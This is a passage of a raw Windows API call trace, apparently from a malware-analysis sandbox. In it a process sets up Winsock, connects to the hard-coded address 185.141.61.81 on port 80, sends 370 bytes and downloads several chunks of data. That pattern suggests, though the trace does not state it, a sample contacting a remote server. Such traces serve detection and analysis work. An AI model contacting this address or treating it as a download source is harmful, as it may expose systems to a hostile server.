0x76c4ee7e [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleEx") returned 0x76c4c78f [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandle") returned 0x76c5cbfc [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeConditionVariable") returned 0x77168456 [0029.338] GetProcAddress (hModule=0x76c20000, lpProcName="WakeConditionVariable") returned 0x771d7de4 [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="WakeAllConditionVariable") returned 0x7719409d [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="SleepConditionVariableCS") returned 0x76cb4b32 [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSRWLock") returned 0x77168456 [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="AcquireSRWLockExclusive") returned 0x771629f1 [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77174892 [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseSRWLockExclusive") returned 0x771629ab [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="SleepConditionVariableSRW") returned 0x76cb4b74 [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWork") returned 0x76c4ee45 [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="SubmitThreadpoolWork") returned 0x771a8491 [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWork") returned 0x7719d8e2 [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0029.339] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0029.339] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x800) returned 0x805720 [0029.339] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0029.340] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x172c92) returned 0x0 [0029.340] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x800d10 [0029.340] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0029.340] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.340] GetLastError () returned 0x57 [0029.340] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0029.340] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0029.340] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.340] GetLastError () returned 0x57 [0029.340] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0029.340] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0029.340] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0029.341] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0029.341] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0029.341] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.341] GetLastError () returned 0x57 [0029.341] GetProcAddress (hModule=0x76c20000, lpProcName="LCIDToLocaleName") returned 0x76c5ced4 [0029.341] GetProcAddress (hModule=0x76c20000, lpProcName="LocaleNameToLCID") returned 0x76cb4801 [0029.341] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x805350 [0029.341] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2) returned 0x806dd8 [0029.341] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806dd8 | out: hHeap=0x7f0000) returned 1 [0029.341] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2) returned 0x806dd8 [0029.341] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x806de8 [0029.341] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x806df8 [0029.341] GetLastError () returned 0x57 [0029.341] SetLastError (dwErrCode=0x57) [0029.341] GetLastError () returned 0x57 [0029.341] SetLastError (dwErrCode=0x57) [0029.341] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xb8) returned 0x806e18 [0029.342] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a6) returned 0x806ed8 [0029.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x7f0000) returned 1 [0029.342] GetLastError () returned 0x57 [0029.342] SetLastError (dwErrCode=0x57) [0029.342] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6) returned 0x806370 [0029.342] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2) returned 0x806380 [0029.342] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4) returned 0x806390 [0029.342] GetLastError () returned 0x57 [0029.342] SetLastError (dwErrCode=0x57) [0029.342] GetLastError () returned 0x57 [0029.342] SetLastError (dwErrCode=0x57) [0029.342] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xb8) returned 0x8063a0 [0029.342] GetLastError () returned 0x57 [0029.342] SetLastError (dwErrCode=0x57) [0029.342] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a6) returned 0x806ed8 [0029.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x7f0000) returned 1 [0029.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806370 | out: hHeap=0x7f0000) returned 1 [0029.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806e18 | out: hHeap=0x7f0000) returned 1 [0029.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806390 | out: hHeap=0x7f0000) returned 1 [0029.343] GetLastError () returned 0x57 [0029.343] SetLastError (dwErrCode=0x57) [0029.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6) returned 0x806390 [0029.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2) returned 0x806370 [0029.343] GetLastError () returned 0x57 [0029.343] SetLastError (dwErrCode=0x57) [0029.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x200) returned 0x806460 [0029.343] GetLastError () returned 0x57 [0029.343] SetLastError (dwErrCode=0x57) [0029.343] GetLastError () returned 0x57 [0029.343] SetLastError (dwErrCode=0x57) [0029.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4) returned 0x806668 [0029.343] GetLastError () returned 0x57 [0029.343] SetLastError (dwErrCode=0x57) [0029.343] GetLastError () returned 0x57 [0029.343] SetLastError (dwErrCode=0x57) [0029.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xb8) returned 0x806678 [0029.343] GetLastError () returned 0x57 [0029.343] SetLastError (dwErrCode=0x57) [0029.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a6) returned 0x806e18 [0029.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806e18 | out: hHeap=0x7f0000) returned 1 [0029.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806390 | out: hHeap=0x7f0000) returned 1 [0029.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8063a0 | out: hHeap=0x7f0000) returned 1 [0029.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0029.344] GetLastError () returned 0x57 [0029.344] SetLastError (dwErrCode=0x57) [0029.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6) returned 0x806668 [0029.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806370 | out: hHeap=0x7f0000) returned 1 [0029.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806380 | out: hHeap=0x7f0000) returned 1 [0029.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x806738 [0029.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x806748 [0029.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x806758 [0029.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x806370 [0029.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x805378 [0029.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x8053a0 [0029.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x8053c8 [0029.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x8053f0 [0029.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x400) returned 0x806e18 [0029.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807238 [0029.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806e18 | out: hHeap=0x7f0000) returned 1 [0029.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8053f0 | out: hHeap=0x7f0000) returned 1 [0029.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8053c8 | out: hHeap=0x7f0000) returned 1 [0029.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8053a0 | out: hHeap=0x7f0000) returned 1 [0029.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x805378 | out: hHeap=0x7f0000) returned 1 [0029.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x805378 [0029.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x8053a0 [0029.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x8053c8 [0029.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x43bb) returned 0x807a20 [0029.346] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x8053f0 [0029.346] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807260 [0029.346] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807288 [0029.346] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8053c8 | out: hHeap=0x7f0000) returned 1 [0029.346] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8053a0 | out: hHeap=0x7f0000) returned 1 [0029.346] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x805378 | out: hHeap=0x7f0000) returned 1 [0029.346] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x805378 [0029.346] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x8063b8 [0029.346] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x8053a0 [0029.346] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x805378 | out: hHeap=0x7f0000) returned 1 [0029.346] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x42fa50 | out: lpWSAData=0x42fa50) returned 0 [0029.356] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807440 [0029.356] WSACreateEvent () returned 0x68 [0029.356] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x70 [0029.575] gethostbyname (name="185.141.61.81") returned 0x81a650*(h_name="185.141.61.81", h_aliases=0x81a660*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x81a664*=([0]="185.141.61.81")) [0030.188] htons (hostshort=0x50) returned 0x5000 [0030.188] connect (s=0x70, name=0x42f76c*(sa_family=2, sin_port=0x50, sin_addr="185.141.61.81"), namelen=16) returned 0 [0030.229] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x812c68 [0030.229] GetLastError () returned 0x0 [0030.229] SetLastError (dwErrCode=0x0) [0030.230] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x81c0f0 [0030.230] GetLastError () returned 0x0 [0030.230] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0030.230] SetLastError (dwErrCode=0x0) [0030.230] GetLastError () returned 0x0 [0030.230] SetLastError (dwErrCode=0x0) [0030.230] GetLastError () returned 0x0 [0030.230] SetLastError (dwErrCode=0x0) [0030.230] GetLastError () returned 0x0 [0030.230] SetLastError (dwErrCode=0x0) [0030.230] GetLastError () returned 0x0 [0030.230] SetLastError (dwErrCode=0x0) [0030.230] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x812c68 | out: hHeap=0x7f0000) returned 1 [0030.230] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x812c68 [0030.230] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d110 [0030.230] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x812c68 | out: hHeap=0x7f0000) returned 1 [0030.230] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x47) returned 0x81a748 [0030.231] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d110 | out: hHeap=0x7f0000) returned 1 [0030.231] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a) returned 0x81a688 [0030.231] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81a748 | out: hHeap=0x7f0000) returned 1 [0030.231] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xe0) returned 0x81a928 [0030.231] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81a688 | out: hHeap=0x7f0000) returned 1 [0030.231] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14f) returned 0x81bd00 [0030.231] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81a928 | out: hHeap=0x7f0000) returned 1 [0030.231] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1f6) returned 0x81b788 [0030.231] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81bd00 | out: hHeap=0x7f0000) returned 1 [0030.231] send (s=0x70, buf=0x81b788*, len=370, flags=0) returned 370 [0030.231] Sleep (dwMilliseconds=0x32) [0030.294] WSARecv (in: s=0x70, lpBuffers=0x42f75c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f764, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f75c*=((len=0x1ff, buf=0x42f798*)), lpNumberOfBytesRecvd=0x42f764*=0x0, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748) returned 0 [0030.294] WSAGetLastError () returned 997 [0030.294] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f768*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.335] WSAResetEvent (hEvent=0x68) returned 1 [0030.335] WSAGetOverlappedResult (in: s=0x70, lpOverlapped=0x42f748, lpcbTransfer=0x42f764, fWait=0, lpdwFlags=0x42f77c | out: lpcbTransfer=0x42f764, lpdwFlags=0x42f77c) returned 1 [0030.335] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2f0) returned 0x81abe0 [0030.335] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b788 | out: hHeap=0x7f0000) returned 1 [0030.335] WSARecv (in: s=0x70, lpBuffers=0x42f75c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f764, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f75c*=((len=0x1ff, buf=0x42f798*)), lpNumberOfBytesRecvd=0x42f764*=0x1ff, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748) returned 0 [0030.335] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f768*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.335] WSAResetEvent (hEvent=0x68) returned 1 [0030.335] WSAGetOverlappedResult (in: s=0x70, lpOverlapped=0x42f748, lpcbTransfer=0x42f764, fWait=0, lpdwFlags=0x42f77c | out: lpcbTransfer=0x42f764, lpdwFlags=0x42f77c) returned 1 [0030.335] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x467) returned 0x81d8f8 [0030.335] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81abe0 | out: hHeap=0x7f0000) returned 1 [0030.335] WSARecv (in: s=0x70, lpBuffers=0x42f75c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f764, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f75c*=((len=0x1ff, buf=0x42f798*)), lpNumberOfBytesRecvd=0x42f764*=0x1ff, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748) returned 0 [0030.335] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f768*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.336] WSAResetEvent (hEvent=0x68) returned 1 [0030.336] WSAGetOverlappedResult (in: s=0x70, lpOverlapped=0x42f748, lpcbTransfer=0x42f764, fWait=0, lpdwFlags=0x42f77c | out: lpcbTransfer=0x42f764, lpdwFlags=0x42f77c) returned 1 [0030.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x69a) returned 0x81dd68 [0030.336] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d8f8 | out: hHeap=0x7f0000) returned 1 [0030.336] WSARecv (in: s=0x70, lpBuffers=0x42f75c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f764, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f75c*=((len=0x1ff, buf=0x42f798*)), lpNumberOfBytesRecvd=0x42f764*=0x1ff, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748) returned 0 [0030.336] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f768*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.336] WSAResetEvent (hEvent=0x68) returned 1 [0030.336] WSAGetOverlappedResult (in: s=0x70, lpOverlapped=0x42f748, lpcbTransfer=0x42f764, fWait=0, lpdwFlags=0x42f77c | out: lpcbTransfer=0x42f764, lpdwFlags=0x42f77c) returned 1 [0030.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9e6) returned 0x81e410 [0030.336] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81dd68 | out: hHeap=0x7f0000) returned 1 [0030.336] WSARecv (in: s=0x70, lpBuffers=0x42f75c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f764, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f75c*=((len=0x1ff, buf=0x42f798*)), lpNumberOfBytesRecvd=0x42f764*=0x1ff, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748) returned 0 [0030.336] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f768*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.336] WSAResetEvent (hEvent=0x68) returned 1 [0030.336] WSAGetOverlappedResult (in: s=0x70, lpOverlapped=0x42f748, lpcbTransfer=0x42f764, fWait=0, lpdwFlags=0x42f77c | out: lpcbTransfer=0x42f764, lpdwFlags=0x42f77c) returned 1 [0030.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xed8) returned 0x81ee00 [0030.337] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81e410 | out: hHeap=0x7f0000) returned 1 [0030.337] WSARecv (in: s=0x70, lpBuffers=0x42f75c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f764, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f75c*=((len=0x1ff, buf=0x42f798*)), lpNumberOfBytesRecvd=0x42f764*=0x2d, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748) returned 0 [0030.337] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f768*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.337] WSAResetEvent (hEvent=0x68) returned 1 [0030.337] WSAGetOverlappedResult (in: s=0x70, lpOverlapped=0x42f748, lpcbTransfer=0x42f764, fWait=0, lpdwFlags=0x42f77c | out: lpcbTransfer=0x42f764, lpdwFlags=0x42f77c) returned 1 [0030.337] WSARecv (in: s=0x70, lpBuffers=0x42f75c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f764, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f75c*=((len=0x1ff, buf=0x42f798*)), lpNumberOfBytesRecvd=0x42f764*=0x0, lpFlags=0x42f77c*=0x0, lpOverlapped=0x42f748) returned 0 [0030.337] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f768*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0030.337] WSAResetEvent (hEvent=0x68) returned 1 [0030.337] WSAGetOverlappedResult (in: s=0x70, lpOverlapped=0x42f748, lpcbTransfer=0x42f764, fWait=0, lpdwFlags=0x42f77c | out: lpcbTransfer=0x42f764, lpdwFlags=0x42f77c) returned 1 [0030.337] WSAGetLastError () returned 0 [0030.337] WSASetEvent (hEvent=0x68) returned 1 [0030.337] WSACloseEvent (hEvent=0x68) returned 1 [0030.337] closesocket (s=0x70) returned 0 [0030.338] WSACleanup () returned 0 [0030.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa30) returned 0x819770 [0030.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0030.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa30) returned 0x8213e8 [0030.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819770 | out: hHeap=0x7f0000) returned 1 [0030.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d110 [0030.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0030.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa30) returned 0x819770 [0030.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8213e8 | out: hHeap=0x7f0000) returned 1 [0030.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d110 | out: hHeap=0x7f0000) returned 1 [0030.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0030.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa20) returned 0x8213e8 [0030.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d110 [0030.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa20) returned 0x81d8f8 [0030.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0030.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8213e8 | out: hHeap=0x7f0000) returned 1 [0030.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa20) returned 0x81e320 [0030.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d8f8 | out: hHeap=0x7f0000) returned 1 [0030.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d110 | out: hHeap=0x7f0000) returned 1 [0030.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x8063d8 [0030.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x805378 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d110 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x805378 | out: hHeap=0x7f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x47) returned 0x80fe78 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d110 | out: hHeap=0x7f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a) returned 0x80fc60 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80fe78 | out: hHeap=0x7f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9e) returned 0x81a5a8 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80fc60 | out: hHeap=0x7f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xec) returned 0x815e90 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81a5a8 | out: hHeap=0x7f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x161) returned 0x81bd00 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815e90 | out: hHeap=0x7f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x211) returned 0x81b788 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81bd00 | out: hHeap=0x7f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x319) returned 0x81a748 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b788 | out: hHeap=0x7f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4a5) returned 0x81d8f8 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81a748 | out: hHeap=0x7f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6f7) returned 0x8213e8 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d8f8 | out: hHeap=0x7f0000) returned 1 [0030.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa72) returned 0x80bde8 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8213e8 | out: hHeap=0x7f0000) returned 1 [0030.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8063d8 | 